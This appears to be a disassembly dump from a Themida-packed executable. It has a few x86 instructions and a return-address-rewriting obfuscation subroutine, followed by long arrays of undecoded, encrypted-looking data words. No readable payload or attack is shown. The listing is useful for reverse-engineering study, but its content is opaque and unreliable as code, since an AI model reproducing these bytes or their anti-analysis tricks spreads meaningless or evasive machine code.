call dword ptr [ebp+61009ADh]
mov ecx, [ebp+61016ADh]
loc_57D147: ; CODE XREF: Themida_:0057D0ECj
mov [ebp+6130596h], eax
or [ebp+6102809h], edi
push 0
push 0
push ebx
call sub_57D160
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57D160 proc near ; CODE XREF: Themida_:0057D158p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_57D160 endp
; ---------------------------------------------------------------------------
dd 0ADD2643Ah, 165F30Fh, 1005119Dh, 8E858D06h, 0E9061305h
dd 12h, 9B9EAED1h, 6DE361D4h, 9240181Dh, 516132EAh, 66506A28h
dd 9529D78Bh, 61000D5h, 958B046Ah, 6100461h, 2955858Dh
dd 8D030610h, 6102A8Dh, 56006A50h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1404h, 0C3564600h, 5800F8Fh, 0BA000000h
dd 64F070A6h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 0FF7DE7C3h, 30A050E7h, 8DD8D8Bh
dd 6A0610h, 38A0Fh, 0BF0F0000h, 60016ACEh, 0B58BCF8Bh
dd 6101E9Dh, 96B5FF61h, 89061305h, 10123DBDh, 7195FF06h
dd 0E906100Ah, 10h, 28350AE1h, 7A13F7AEh, 0B8483A24h, 0F4AC5083h
dd 1BDBE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1D04h, 0C3504000h, 50CD1962h, 17ABAD36h, 8B66841Ch
dd 0E9C08BD6h, 7, 77B88C68h, 837EE41Ch, 10158DBDh, 9750006h
dd 95BD83h, 74000610h, 8B535019h, 7D2B8C0h, 85890000h
dd 6100E65h, 0B8159D8Dh, 0D3FF0612h, 0BD83585Bh, 6100095h
dd 50177400h, 7D2B853h, 85890000h, 6100E65h, 0B5049D8Dh
dd 0D3FF0612h, 0B589585Bh, 6102885h, 3101BD89h, 0C08B0610h
dd 0C7CA8B66h, 10220985h, 106h, 0B9BD8B00h, 68061011h
dd 0CEE4E7B8h, 2E61B5FFh, 858D0610h, 6103A32h, 8589D0FFh
dd 6100D5Dh, 7F2858Dh, 8D500613h, 130AAF85h, 1685006h
dd 0FF800000h, 100D5D95h, 75C00B06h, 0FD85C70Ah, 106102Fh
dd 68000000h, 0C005DBD4h, 2E61B5FFh, 858D0610h, 6103A32h
dd 8589D0FFh, 6101451h, 0FA3F858Dh, 0FF500612h, 101499B5h
dd 8595FF06h, 0B06100Dh, 8B0B74C0h, 0F2858DD8h, 50061309h
dd 858DD3FFh, 61309F2h, 9388366h, 85C70A75h, 61022E5h
dd 1, 328195FFh, 0FF250610h, 83000000h, 0A7305F8h, 1AD985C7h
dd 10610h, 0F9560000h, 8D9D895Ah, 80061022h, 130601BDh
dd 840F0006h, 11h, 0ABBD83F8h, 6130Ah, 10840Fh, 0B70F0000h
dd 1A62E9F9h, 0D18B0000h, 0F59BD89h, 0BD830610h, 61022E5h
dd 0FB850F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 18042444h, 41000000h, 61FCC351h, 0FD6047Bh
dd 0BF66FAB7h, 858D6CAAh, 61305CBh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Bh, 0C0C35242h, 0CBC26C0Fh, 8B92B60Eh
dd 958950D1h, 61006D9h, 6AF9016Ah, 25858900h, 6A06100Fh
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h
dd 0C3564600h, 8F0F22h, 0FF000000h, 102EC995h, 959D0106h
dd 8906100Eh, 1305F585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 0B88320DBh, 5C0BAE34h
dd 13E9C0h, 0DD700000h, 17DC1EE7h, 2732A817h, 0DFF1A057h
dd 0CADBBCC7h, 8BFF6A3Dh, 1031C1BDh, 0F5B5FF06h, 66061305h
dd 6EC8E181h, 61595FFh, 89600610h, 100A8DBDh, 89BE6606h
dd 858D611Ch, 612FA06h, 4840Fh, 0BA660000h, 0E8606A3Eh
dd 5, 0DA761F0h, 35BD89D4h, 5B061009h, 6EDBD89h, 50610610h
dd 68A0Fh, 9D890000h, 6102119h, 15DD95FFh, 0B9660610h
dd 0B70FF011h, 908589D3h, 890612FAh, 102D0D95h, 13858D06h
dd 0B20612FAh, 8D335022h, 6101D55h, 0FA90B5FFh, 95290612h
dd 61032C5h, 0D8595FFh, 85290610h, 6101F1Dh, 2169BD8Bh
dd 85890610h, 61010A9h, 39467DB9h, 81858D2Ch, 500612FAh
dd 0F09BD8Bh, 505A0610h, 0FA90B5FFh, 0FFF50612h, 100D8595h
dd 1DB58906h, 89061017h, 12FAA485h, 0A58D8B06h, 8D061029h
dd 12FA6085h, 0A9BD8B06h, 50061016h, 0F19D2956h, 5F06101Ah
dd 0FA90B5FFh, 0EA810612h, 68BE5359h, 8595FFF8h, 0F806100Dh
dd 0FA9C8589h, 0DE90612h, 97000000h, 0A9C94280h, 51C64572h
dd 8A60FB07h, 20FDBD03h, 858D0610h, 612FA53h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 7C35646h, 85B58960h
dd 0F061016h, 89h, 0DE96100h, 65000000h, 0F9F901B1h, 0ED7F1A41h
dd 9B03F0F2h, 0FD858950h, 0FF061005h, 12FA90B5h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
dd 6684A114h, 8B66CF8Bh, 0BACEBFCFh, 95FF11F6h, 6100D85h
dd 0FAA08589h, 8D8B0612h, 61013E5h, 0FA6E858Dh, 6A0612h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 0F544BC3h, 0CA8BD3BFh, 0FFD08B50h, 12FA90B5h, 0FFCF8B06h
dd 100D8595h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1C04h, 0C3504000h, 57657EF5h, 0A244A0Eh, 0A585897Ah
dd 0E9061016h, 7, 1DBCB146h, 8D0BD591h, 12FA2285h, 1850F06h
dd 0FC000000h, 3FBA6650h, 90B5FFD3h, 660612FAh, 95FFD78Bh
dd 6100D85h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 18h, 0E9C35040h, 0DFDB8F6Eh, 0FA948589h, 9E90612h, 16000000h
dd 3971145Eh, 0F268B847h, 12E9h, 69D55F00h, 0F246955Dh
dd 0F1C7DA1Bh, 31BC2554h, 8D12D169h, 12FA3185h, 0AE906h
dd 7ECC0000h, 0BEA18EFEh, 0B58580D0h, 50CEBF0Fh, 13B59589h
dd 0B5FF0610h, 612FA90h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Dh, 77C35646h, 0D9C197EFh, 5F8797B5h, 8595FFCFh
dd 8B06100Dh, 1000B58Dh, 98858906h, 890612FAh, 1021618Dh
dd 0D2B70F06h, 10468h, 28858D00h, 8B0612FBh, 1030FD95h
dd 8E806h, 0E0610000h, 940FF883h, 0BD8BFC82h, 61009C9h
dd 38B2505Fh, 0FC2C858Dh, 890F0612h, 2, 8950D18Bh, 102E59B5h
dd 195FF06h, 6A061008h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1B042444h, 46000000h, 2261C356h, 0F3BFD1ECh
dd 8166EB15h, 856C7DC7h, 6850FC0h, 31000000h, 1014259Dh
dd 1BD8006h, 61306h, 13850Fh, 85310000h, 6102205h, 15FBE9h
dd 0C4F18000h, 0D9E5FDBFh, 0E5BD8353h, 61022h, 74850Fh
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
dd 51410000h, 5B91ABC3h, 0FA2B5098h, 13E8FBh, 0B6BF0000h
dd 9439751h, 40B3A326h, 33870BE7h, 0C8539E36h, 5FD68B6Ah
dd 83FE8B66h, 130AABBDh, 840F0006h, 69h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 18h, 63C35040h, 4C4F9870h
dd 12D8D89h, 858D0610h, 612FAC5h, 359D8960h, 0E9061033h
dd 11h, 325CBDC3h, 0DD0B1593h, 0E9933C0h, 0CC7E2AD4h, 49E96119h
dd 50000015h, 0DE9h, 64A17400h, 0E3CC28F3h, 20A917EEh
dd 0E95ADA01h, 7, 0B0858DF8h, 500612FAh, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 1Bh, 6DC35040h, 0F4466F97h
dd 0E8019556h, 11h, 0D00638B7h, 0EC2D7BB8h, 0EF6D95AAh
dd 0F29D0C0Dh, 0A1B509C0h, 59061029h, 0FB28858Dh, 0BF660612h
dd 8D8BB9E3h, 6102181h, 5E950h, 0EBB80000h, 8377D699h
dd 1022E5BDh, 840F0006h, 30h, 2255B501h, 858D0610h
dd 612FC4Eh, 678FD781h, 1FE91588h, 0E8000000h, 0Dh, 5D6EC7F1h
dd 9EB927F4h, 39A8440Ch, 21BD03F8h, 5A06101Eh, 0FC37858Dh
dd 8B500612h, 1030BDBDh, 86858D06h, 6A0612FCh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
dd 6BDEC357h, 3289A5C1h, 0F3E2585Eh, 13359523h, 6A500610h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 330FC355h, 95FF72BEh, 6100251h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0DDC35343h, 63A16D1Fh
dd 5A56CF8Bh, 6A10C483h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 15042444h, 45000000h, 5130C355h, 0C08B7AB1h
dd 77CA8166h, 8DBD83A9h, 61015h, 0BD830975h, 6100095h
dd 50197400h, 0B8C08B53h, 7D3h, 0E658589h, 9D8D0610h, 612B815h
dd 585BD3FFh, 95BD83h, 74000610h, 0B8535017h, 7D3h, 0E658589h
dd 9D8D0610h, 612B504h, 585BD3FFh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 14h, 89C35747h, 721313BAh, 5E969h
dd 0CDE0000h, 8B5E9104h, 5E9C0h, 0B5760000h, 8115C21Eh
dd 12FAB0BDh, 65726F06h, 0AE840F61h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
dd 0E618C357h, 28342259h, 0BD0B0C77h, 6102109h, 0FB28858Dh
dd 8D500612h, 12FC6585h, 858D5006h, 612FC86h, 5195FF50h
dd 83061002h, 85C60CC4h, 61023E5h, 184F6844h, 0B5FF96A3h
dd 6101499h, 3A32858Dh, 0D0FF0610h, 858DD88Bh, 612FC86h
dd 8DD3FF50h, 12FAB085h, 858D5006h, 612FB28h, 0E5BD8350h
dd 61022h, 858D0874h, 612FC4Eh, 858D06EBh, 612FC37h, 86858D50h
dd 500612FCh, 25195FFh, 0C4830610h, 0E1B50910h, 89061023h
dd 100DF19Dh, 8195FF06h, 8B061032h, 1023F18Dh, 0FF2506h
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
dd 51410000h, 464217C3h, 53ED86A1h, 998D2981h, 0E8061011h
dd 13h, 7D99336h, 2BADB633h, 0A4B55441h, 4C12631Eh, 0BDEA323h
dd 101CDD95h, 0F8835906h, 40830F05h, 31000000h, 10064985h
dd 0C787B606h, 101AD985h, 106h, 0CBB96600h, 0BD315282h
dd 6103115h, 0E4858D5Ah, 600612FAh, 9953D081h, 9D895955h
dd 61023ADh, 79E961h, 0C1800000h, 69958B4Bh, 83061004h
dd 1022E5BDh, 840F0006h, 51h, 5E9h, 0E34E4900h, 858DF130h
dd 612FB0Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Bh, 91C35646h, 0C0C5FA55h, 0F42AF8Bh, 28E9D6BFh, 0E9000000h
dd 11h, 39832FA9h, 0D1648F11h, 4A2B4047h, 7AF8285Fh, 0F1858DDBh
dd 0B20612FAh, 5E935h, 0C3520000h, 89D5784Bh, 12FB2485h
dd 87BA6606h, 0E5BD83ABh, 61022h, 19850Fh, 0BD290000h
dd 6102ED9h, 0AABBD83h, 0F000613h, 1184h, 298D2B00h, 0E9061020h
dd 1158h, 1315958Bh, 79E90610h, 23000004h, 1030AD95h, 66C08B06h
dd 2F56F281h, 8309E980h, 10158DBDh, 9750006h, 95BD83h
dd 74000610h, 8B535019h, 7D4B8C0h, 85890000h, 6100E65h
dd 0B8159D8Dh, 0D3FF0612h, 0BD83585Bh, 6100095h, 50177400h
dd 7D4B853h, 85890000h, 6100E65h, 0B5049D8Dh, 0D3FF0612h
dd 6A585Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
dd 55450000h, 8B6612C3h, 5FC181F8h, 8B25943Eh, 68CE8BC0h
dd 0F003Fh, 6D9BD89h, 6A0610h, 8B006AF8h, 0A995FFF8h, 6A061010h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h
dd 42000000h, 6DF2C352h, 85951C56h, 31850FC0h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h
dd 41000000h, 909AC351h, 8D03D405h, 6102DEDh, 1EE9BD29h
dd 0B5890610h, 61001C9h, 0FAA88589h, 6A0612h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0DA82D2C3h
dd 69F3D338h, 0BBF9D53h, 101FB9BDh, 29006A06h, 1007218Dh
dd 0B1958B06h, 6A061013h, 89950300h, 6A06100Eh, 8B006A00h
dd 1009A9BDh, 66006A06h, 8D0549BFh, 12FC8685h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
dd 8837F381h, 11540D27h, 0B5893E1Ch, 6101685h, 0A1958B50h
dd 6A061010h, 81958B01h, 6A061000h, 66C78101h, 6A65722Eh
dd 0DB03BF01h, 0FF682929h, 66000F01h, 0BD83CA8Bh, 61022E5h
dd 66840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 15042444h, 47000000h, 0C2DDC357h, 0FB05858Dh
dd 0F7810612h, 386454B1h, 41E9h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 36A8FB0Fh
dd 14E9h, 1A101200h, 41811D8h, 0AAE7E91Dh, 1F6016DEh, 0F82598F6h
dd 0DB858D51h, 800612FAh, 8950A3C5h, 100975BDh, 6A5006h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 0BD8B51C3h, 61010FDh, 0FAA8B5FFh, 6A0612h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 150424h, 56460000h, 57639BC3h
dd 1F66D3B9h, 95335A38h, 6100F91h, 68B0Fh, 0E2810000h
dd 30082ADBh, 0FA9495FFh, 952B0612h, 61015B5h, 0C840Fh
dd 830F0000h, 6, 810Fh, 0C0850000h, 43850Fh, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 0EA7746C3h, 0E6271B65h, 0F88B4FBEh, 59E9h, 13E900h
dd 0FC9C0000h, 79765CA1h, 0BC293AE7h, 0E2044755h, 0DB44DDE7h
dd 0AC858972h, 0F90612FAh, 0FAACB5FFh, 14E90612h, 2A000000h
dd 841BE467h, 578A9220h, 0F18ECECDh, 0E3C0AD5Dh, 0FF619A42h
dd 1016A595h, 758D0906h, 0F906100Ah, 850FC085h, 6, 0C358D8Bh
dd 106A0610h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 18h, 9C35141h, 9CE11521h, 0C330C181h, 0BD83171Eh, 61022E5h
dd 16840F00h, 8D000000h, 12FB0585h, 0E1816606h, 23E9DA47h
dd 8B000000h, 1030A595h, 0DB858D06h, 0E80612FAh, 9, 14A014FFh
dd 0F6EC19A3h, 2810F1Fh, 60000000h, 6A505A61h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 8BDEC357h, 0A8B5FFF9h, 6A0612FAh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 573AC351h
dd 0FFD3BF0Fh, 12FAA095h, 39958B06h, 85061029h, 23850FC0h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 0A12FC351h, 8198D01h, 85890610h
dd 612FAACh, 60CA8166h, 0BF006A24h, 1F3A55F9h, 0B589006Ah
dd 61005C5h, 0FAACB5FFh, 0B5890612h, 61030C1h, 0FA9895FFh
dd 0C1810612h, 5B91ED6Eh, 850FC085h, 6, 5FDBD89h, 0B5FF0610h
dd 612FAACh, 23CD9589h, 95FF0610h, 61016A5h, 11AD958Bh
dd 0C0850610h, 6850Fh, 8D8B0000h, 610298Dh, 0BD8B006Ah
dd 6102FEDh, 68C8BF0Fh, 80h, 9298D8Bh, 36A0610h, 0E8B9006Ah
dd 6A0FDE75h, 0C7816600h, 686444h, 3C00000h, 1009F9BDh
dd 8EBF6606h, 24B5FF48h, 310612FBh, 101B9595h, 0F195FF06h
dd 6A061015h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 16042444h, 47000000h, 8BD1C357h, 58E0F0Eh, 0BF000000h
dd 35FE47D5h, 57AFBF66h, 0FFFF883h, 48285h, 0C99D8900h
dd 8906102Fh, 102E01B5h, 9285FF06h, 8B061305h, 10105595h
dd 92BD8306h, 2061305h, 389840Fh, 858D0000h, 5B243Bh, 8951D0FFh
dd 102DD19Dh, 0AE85F06h, 9D000000h, 52D4A61h, 0F67C1CAFh
dd 858D5A6Fh, 5B1E8Eh, 81D0B70Fh, 6DFD82F1h, 6AD0FF61h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h
dd 41000000h, 0BB7EC351h, 0B0E1E1C0h, 5F059D71h, 3DBA8BB9h
dd 8BC08B28h, 1010A58Dh, 0EA816606h, 0BD839838h, 610158Dh
dd 83097500h, 100095BDh, 19740006h, 0C08B5350h, 7D8B8h
dd 65858900h, 8D06100Eh, 12B8159Dh, 5BD3FF06h, 95BD8358h
dd 61000h, 53501774h, 7D8B8h, 65858900h, 8D06100Eh, 12B5049Dh
dd 5BD3FF06h, 0D59D0958h, 0B106100Dh, 6AC08B14h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 1B4C352h, 559EE0E6h, 0E1816691h, 3F684B06h, 66000F00h
dd 6ACE8Bh, 11870Fh, 0CE90000h, 75000000h, 0F52F6BACh
dd 4414C3F5h, 6A5AE5F0h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1704h, 0C3554500h, 0DD4B8657h, 10A995FFh
dd 0F88B0610h, 6AC085h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1D0424h, 52420000h, 98AF01C3h, 774DE174h, 81735F9Bh
dd 0C88AB2D9h, 0A8858914h, 8B0612FAh, 101B1195h, 1FF6806h
dd 0BF66000Fh, 0BD834953h, 61022E5h, 13840F00h, 81000000h
dd 0E86A00EAh, 5858D1Bh, 0E90612FBh, 1Ch, 858DB7B2h, 612FADBh
dd 0FE9h, 1162BF00h, 46F18902h, 8995AE96h, 0EE5DB842h
dd 81666050h, 894AAFEEh, 100E958Dh, 0B5FF6106h, 612FAA8h
dd 11A1BD8Bh, 95FF0610h, 612FAA0h, 0BF0FCE8Bh, 0AC8589FAh
dd 0E90612FAh, 9, 779D1B4Bh, 19CE9EEBh, 0D85C761h, 6102Ah
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1A042444h, 45000000h, 0D697C355h, 9AAE9575h, 2D19BAC5h
dd 0BD837C4Eh, 612FAACh, 62840F00h, 8B000001h, 10228D95h
dd 8A858D06h, 500612FDh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ah, 0DDC35646h, 0ABA71F97h, 9501E5C1h, 6100A29h
dd 3C18166h, 8B016ABFh, 0ACB5FFD0h, 0F0612FAh, 688h, 35850100h
dd 0FF061016h, 12FAA495h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 5D8BFEC5h
dd 70B1600Fh, 0B5FF61F5h, 612FAACh, 79D952Bh, 95FF0610h
dd 61016A5h, 0EE9h, 7BE25000h, 522CC7CFh, 0E14DF3D7h, 0FAD5B24h
dd 48Fh, 0CCBA6600h, 1FF686Ah, 8531000Fh, 610057Dh, 22E5BD83h
dd 0F000610h, 1784h, 5858D00h, 8B0612FBh, 0C4BF66CFh, 2DE974h
dd 95890000h, 6103365h, 0FADB858Dh, 0FE80612h, 0AB000000h
dd 4C05B85Ah, 0B2446EBCh, 0CA0A14F9h, 7E962D6h, 2D000000h
dd 3ABD299Dh, 505F7D57h, 2129958Bh, 0B5FF0610h, 612FAA8h
dd 845958Bh, 9D090610h, 6101D05h, 0FAA095FFh, 0F520612h
dd 8Ch, 85895A00h, 612FAACh, 0A41DB966h, 31599D29h, 0B5FF0610h
dd 612FAACh, 810BBA66h, 0FA9C95FFh, 8D8B0612h, 6102D21h
dd 0FAACB5FFh, 95030612h, 6100561h, 16A595FFh, 0B70F0610h
dd 0F763E9FEh, 0FFF5FFFFh, 1305F5B5h, 0D3B70F06h, 2DB995FFh
dd 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
dd 51410000h, 0DDCB47C3h, 2771BD8Bh, 858B0610h, 6100A0Dh
dd 13B18D8Bh, 6AE90610h, 89000006h, 1021D5B5h, 0AAB58D06h
dd 520612FDh, 15A98D8Bh, 8D5A0610h, 12AB5E85h, 8430BF06h
dd 0D0FF23E8h, 295DBD8Bh, 6A0610h, 95FFCA8Bh, 61009ADh
dd 8BFABF0Fh, 53006AF3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1704h, 0C3534300h, 7F470679h, 0AE9h, 8BB6A900h, 0E0895315h
dd 8DA7D01Bh, 12AB5E85h, 0DAE98106h, 0FF794EBCh, 0A2E180D0h
dd 6660006Ah, 0B638D381h, 241D9D89h, 0FF610610h, 1009AD95h
dd 1DD98106h, 8B06676Eh, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 0F05D12FAh, 0F9BD8BE4h
dd 83061018h, 10158DBDh, 9750006h, 95BD83h, 74000610h
dd 8B535019h, 7D9B8C0h, 85890000h, 6100E65h, 0B8159D8Dh
dd 0D3FF0612h, 0BD83585Bh, 6100095h, 50177400h, 7D9B853h
dd 85890000h, 6100E65h, 0B5049D8Dh, 0D3FF0612h, 6A585Bh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 0F07F87C3h, 60CD08D6h, 8BFEBF0Fh, 10057D9Dh, 8E96106h
dd 13000000h, 5DDB8526h, 8B53C55Fh, 3D8D8BC0h, 5006101Bh
dd 0CF20F6BAh, 6AD88B2Eh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 15042444h, 43000000h, 0DC5BC353h, 0DE9h
dd 8C20FE00h, 0F2C36B70h, 97CAD5F6h, 53F58C32h, 0CB59D8Dh
dd 38B0610h, 438B0389h, 50438950h, 58E9D8Dh, 38B0613h
dd 8B5B0389h, 10294195h, 25B96606h, 40EA8128h, 6A41A5A0h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h
dd 0C3554500h, 0A398D404h, 858D95FDh, 613058Eh, 3850Fh
dd 0B70F0000h, 6A50D7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 6F7895C3h, 8A484CF1h, 0E5B966F5h
dd 606AF514h, 7E9h, 56C63000h, 13A8F47h, 0CB5858Dh, 6A0610h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 8BEF8CC3h, 102F91BDh, 0C5B15006h, 830F006Ah, 6, 29499589h
dd 6A0610h, 180068F9h, 0BD890000h, 6103109h, 9E9h, 19113B00h
dd 795630D2h, 6A539307h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 1500C352h, 0FFF9E88Ah
dd 100A7195h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1B04h, 0C3574700h, 877C5BF5h, 0F7FA2F2Ah, 2ECD9D89h
dd 8E0F0610h, 0Ch, 68F0Fh, 0B5890000h, 6101635h, 162195FFh
dd 0CE8B0610h, 5F5B5FFh, 6E90613h, 6B000000h, 7FF99F72h
dd 0B995FF72h, 6A06102Dh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1A042444h, 46000000h, 9ACBC356h, 0C8FC970h
dd 0CEBF0FE7h, 22258D89h, 858D0610h, 6100CB5h, 0F58589h
dd 408B0610h, 3D958918h, 0C7061013h, 10059985h, 6, 85895300h
dd 6101649h, 0E5BD835Ah, 61022h, 1C840Fh, 9D890000h, 6102DA5h
dd 8C3Dh, 10830F00h, 8B000002h, 1027698Dh, 0DE906h, 983D0000h
dd 0F000000h, 1FA83h, 8DCE8A00h, 5B243B85h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 0BD8B5C98h, 6101DE5h, 0C781D0FFh, 5D752AD3h, 1E8E858Dh
dd 840F005Bh, 3
dd 0FFFE8B66h, 56006AD0h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1A04h, 0C3564600h, 32622616h, 8B419C69h
dd 1004E595h, 6AC08B06h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 0C1BBC355h, 1834D295h
dd 68F0F52h, 3000000h, 100B758Dh, 0BD835A06h, 610158Dh
dd 83097500h, 100095BDh, 19740006h, 0C08B5350h, 0BC6B8h
dd 65858900h, 8D06100Eh, 12B8159Dh, 5BD3FF06h, 95BD8358h
dd 61000h, 53501774h, 0BC6B8h, 65858900h, 8D06100Eh, 12B5049Dh
dd 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1D04h, 0C3554500h, 0AD4FDFE9h, 0AECF6CAAh, 0F181BAACh
dd 5394BE2Fh, 11659D01h, 0C08B0610h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 14h, 0F2C35242h, 0F883CE8Ah, 45850FFFh
dd 0E8000000h, 10h, 8C3FA23Dh, 18E7B741h, 0E6F4160Ah, 8D308F3Dh
dd 30959D31h, 0C75A0610h, 10282D85h, 6, 0C2F8BA00h, 33E955C4h
dd 57000001h, 0E95FD78Ah, 49h, 6830Fh, 8D8B0000h, 61006FDh
dd 0F01F883h, 3485h, 13E900h, 6B8F0000h, 1D6E8700h, 0ED7EAD9Bh
dd 12D329BBh, 6C90CBDCh, 99958B4Dh, 0E9061022h, 149h, 0CE9h
dd 84F30000h, 0DE423FB8h, 12A3F7BEh, 0F1E7E98Ch, 6AFFFFh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 0E34AF7C3h, 60554CCCh, 1FF99D89h, 8B660610h, 816661CBh
dd 8B2092C1h, 0D18166C0h, 0BD83F0F8h, 610158Dh, 83097500h
dd 100095BDh, 19740006h, 0C08B5350h, 7DDB8h, 65858900h
dd 8D06100Eh, 12B8159Dh, 5BD3FF06h, 95BD8358h, 61000h
dd 53501774h, 7DDB8h, 65858900h, 8D06100Eh, 12B5049Dh
dd 5BD3FF06h, 159D2958h, 89061005h, 1016858Dh, 6AC08B06h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h
dd 45000000h, 0F7AC355h, 566E8D06h, 68E0Fh, 0BD8B0000h
dd 6100B41h, 0CBBF0F59h, 267E9h, 9E800h, 0F29C0000h, 0E34FF5A9h
dd 89701C03h, 101491B5h, 858D5A06h, 6130392h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 9EC35040h, 1FA8FA26h
dd 8BE1194Eh, 8A8589FBh, 89061305h, 10012585h, 0FE806h
dd 0C1D80000h, 6E292C94h, 24D470CFh, 7E3653ECh, 8C5ABF20h
dd 0E95F3B1Ch, 62h, 9A858DF8h, 8A061301h, 6A40F5h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 8AB59AC3h, 0AF95FCD0h, 8589FA8Bh, 613058Ah, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0DBC35141h, 4B6F92AFh
dd 0F10CA74h, 584h, 0D7816600h, 346A4287h, 14E9858Dh, 0FF500610h
dd 13058AB5h, 0FF006A06h, 1012F595h, 7F88306h, 168840Fh
dd 8C660000h, 4C3F6DBh, 102850Fh, 85C60000h, 61023E5h
dd 0B8526856h, 0B5FF9CA8h, 6101499h, 3A32858Dh, 0D0FF0610h
dd 68046Ah, 6A000010h, 0FF006A64h, 0FD8589D0h, 0C6061305h
dd 1023E585h, 9B684706h, 0FFEC18ACh, 101499B5h, 32858D06h
dd 0FF06103Ah, 8BD0FFD0h, 0E585C6F0h, 4F061023h, 2F266168h
dd 61B5FFC6h, 8D06102Eh, 103A3285h, 8DD0FF06h, 1305F99Dh
dd 286A5306h, 85D0FF56h, 0C60075C0h, 1023E585h, 98684106h
dd 0FFDB8764h, 102E61B5h, 32858D06h, 0FF06103Ah, 168589D0h
dd 0C6061306h, 1023E585h, 0A4684C06h, 0FF80A4E7h, 102E61B5h
dd 32858D06h, 0FF06103Ah, 0FD9D8BD0h, 8D061305h, 8D53045Bh
